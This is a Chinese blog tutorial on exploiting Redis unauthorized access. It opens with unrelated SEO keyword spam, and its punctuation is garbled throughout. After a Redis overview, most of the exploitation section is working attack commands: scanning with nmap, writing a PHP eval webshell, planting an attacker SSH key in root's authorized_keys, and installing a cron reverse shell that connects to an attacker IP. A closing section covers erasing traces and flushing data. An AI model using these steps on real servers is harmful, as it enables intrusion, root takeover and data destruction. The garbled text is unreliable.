自己如何做网站源码,查一下红之易道学做的什么网站,wordpress 自动采集插件,网站备案很麻烦吗Redis#xff08;Remote Dictionary Server#xff09;是一个开源的内存数据库#xff0c;遵守 BSD 协议#xff0c;它提供了一个高性能的键值#xff08;key-value#xff09;存储系统#xff0c;常用于缓存、消息队列、会话存储等应用场景 Redis主要特性
#xff08…RedisRemote Dictionary Server是一个开源的内存数据库遵守 BSD 协议它提供了一个高性能的键值key-value存储系统常用于缓存、消息队列、会话存储等应用场景 Redis主要特性
1数据结构支持
String字符串最基本的键值对类型支持存储字符串、整数、浮点数等数据适合计数器、缓存等用途。List列表有序集合可以用作队列、栈适合消息队列、任务调度等场景。Set集合无序集合支持交集、并集等操作适合标签管理、集合运算等。Sorted Set有序集合带权重的有序集合适合排名系统、排行榜等功能。Hash哈希表键值对的集合适合存储对象的多个字段信息。Stream流支持记录插入和查询操作适合日志系统、实时数据处理。Bitmap位图处理二进制数据如签到系统、用户行为分析。HyperLogLog近似计数算法用于高效估算唯一元素数量适合统计UV等。Geo地理空间索引可以存储地理坐标并执行距离计算适合地图服务。
2持久化 Redis虽然是内存数据库但它提供了持久化机制来确保数据不会因服务器重启而丢失
RDBRedis DataBase定期生成快照将数据保存到磁盘中。AOFAppend-Only File每次写操作都会追加到文件中恢复时重放这些操作日志保证数据完整性。
3高可用和分布式
主从复制Redis支持主从复制主节点处理写操作从节点同步数据提供负载均衡和故障转移能力。Redis Sentinel监控主从结构中的节点自动处理故障转移保障高可用性。Redis Cluster实现数据分片将数据分布到多个节点上支持水平扩展适合大规模数据存储场景。
4)安全性
Redis通过简单的密码验证机制保护数据同时可以绑定IP地址以限制访问权限。在生产环境中推荐启用TLS加密通信。
Redis漏洞
1漏洞描述
Redis未授权访问漏洞是指由于Redis配置不当导致其未设置访问控制或认证机制从而使攻击者可以通过远程或本地网络未授权访问Redis数据库并执行任意命令。这类漏洞存在时攻击者可以利用Redis的特性窃取或篡改数据甚至控制系统
Redis默认情况下没有开启认证机制且通常运行在默认端口6379上。如果Redis实例暴露在公网且未采取访问限制任何人都可以直接通过网络连接到Redis服务器并执行包括读取、修改数据或运行恶意代码等操作。
造成Redis未授权访问漏洞的主要原因包括
没有配置认证密码Redis默认不需要密码验证攻击者可以直接连接并执行命令。暴露在公网Redis实例暴露在公网没有设置访问控制策略任何人都可以通过网络访问。没有限制IP访问Redis没有设置仅允许可信IP访问的策略导致外部不可信网络也能连接到Redis。
影响范围Redis5.0.5
Redis基本常用命令
启动命令如果有出现乱码就在后面加上 -raw 就可以避免乱码了
$ redis-cli
在远程服务上执行命令
$ redis-cli -h host -p port -a password下面实例连接到主机为 127.0.0.1端口为 6379 密码为 mypass 的 redis 服务上
$redis-cli -h 127.0.0.1 -p 6379 -a mypass
redis 127.0.0.1:6379
redis 127.0.0.1:6379 PINGPONG(2)环境搭建
可在vulhub上搭建靶场资源里面还有很多靶场漏洞联系
3漏洞利用
扫描开放的Redis服务攻击者通过扫描工具发现开放的Redis服务通常是暴露在公网的端口6379。 nmap -sV -p 6379 -script redis-info ip连接Redis利用未授权访问攻击者可以直接通过命令行或脚本连接Redis。 redis-cli -h ip执行恶意操作攻击者可以执行多种恶意操作如读取、修改数据甚至上传恶意代码到目标服务器。 info #查看redis的信息和服务器信息
flushall 删除所有数据
del key 删除键为key的数据
get key 获得参数key的数据利用Redis写入webshell利用前提是连接成功且keys*未启用认证
连接成功后输入以下指令
config set dir /var/www/html
config set dbfilename redis.php
set webshell ?php eval($_POST[cmd]); ?或者set x \r\n\r\n?php eval($_POST[cmd]); ?\r\n\r\n
save蚁剑连接
4获取root权限
在Redis未授权访问漏洞中如果Redis以root身份运行攻击者可以通过向目标服务器的/root/.ssh/authorized_keys文件写入攻击者的SSH公钥获得目标系统的root权限
① 在攻击者的机器上生成SSH密钥对公钥将被写入目标机器中从而通过SSH登录目标机器
# 在攻击者机器上生成SSH公钥和私钥
ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa# 生成的公钥内容位于 ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa.pub记下生成的公钥内容这个公钥将被写入目标Redis服务器的/root/.ssh/authorized_keys文件。
②连接Redis并写入公匙
利用未授权访问漏洞连接到目标服务器的Redis并将公钥写入/root/.ssh/authorized_keys文件。
# 连接到目标Redis服务器
redis-cli -h ip -p 6379# 创建/root/.ssh目录
redis-cli -h ip -p 6379
127.0.0.1:6379 CONFIG SET dir /root/.ssh# 设置文件名为authorized_keys
127.0.0.1:6379 CONFIG SET dbfilename authorized_keys# 将攻击者的公钥写入到authorized_keys
127.0.0.1:6379 SET public_key 攻击者的公钥内容# 将内容写入磁盘
127.0.0.1:6379 SAVE③通过ssh登录目标服务器
此时攻击者的公钥已经成功写入目标服务器的/root/.ssh/authorized_keys文件。攻击者可以通过SSH免密登录目标服务器直接获取root权限。
# 使用私钥登录靶机目标服务器
ssh -i ~/.ssh/id_rsa rootip④验证是否获取到root权限
whoami
# 如果输出为root则表明成功获取root权限利用Redis未授权漏洞获取root权限后攻击者还可以进一步通过写入反弹ShellReverse Shell来获得持久化的远程控制权限
4写入反弹shell
权限足够的情况下利用redis写入文件到计划任务目录下执行
①先进行端口的监听
# 在攻击者机器上监听某个端口例如4444
nc -lvnp 4444②利用Redis写入脚本
修改Redis配置目录
将Redis的工作目录修改为系统的/var/spool/cron/crontabs目录该目录存放定时任务cron jobs。
# 连接到目标Redis服务器
redis-cli -h ip -p 6379# 设置Redis工作目录为crontabs目录
127.0.0.1:6379 CONFIG SET dir /var/spool/cron/crontabs# 将定时任务写入到root用户的cron任务中
127.0.0.1:6379 CONFIG SET dbfilename root③设置定时任务
# 写入反弹Shell命令每分钟执行一次
127.0.0.1:6379 SET shell \n* * * * * bash -i /dev/tcp/攻击者IP/端口 01\n# 保存定时任务
127.0.0.1:6379 SAVE④目标服务器反向连接
此时目标服务器会通过反弹Shell向攻击者的机器发起连接。如果攻击者的监听器已经启动便可以在攻击者机器上接收到反弹的Shell从而获得目标服务器的命令执行权限。
在攻击者机器上等待连接
nc lvnp 4444
(5)清除痕迹
删除在cron中写入的反弹Shell命令。
# 删除cron任务
127.0.0.1:6379 DEL shell# 删除相关的cron文件
127.0.0.1:6379 CONFIG SET dbfilename root
127.0.0.1:6379 CONFIG SET dir /var/spool/cron/crontabs
127.0.0.1:6379 FLUSHALL后面的相关实验我在补充上这里为理论相关参考
Redis漏洞利用总结-CSDN博客
【Redis】Redis是什么、能干什么、主要功能和工作原理的详细讲解_redis是干嘛的-CSDN博客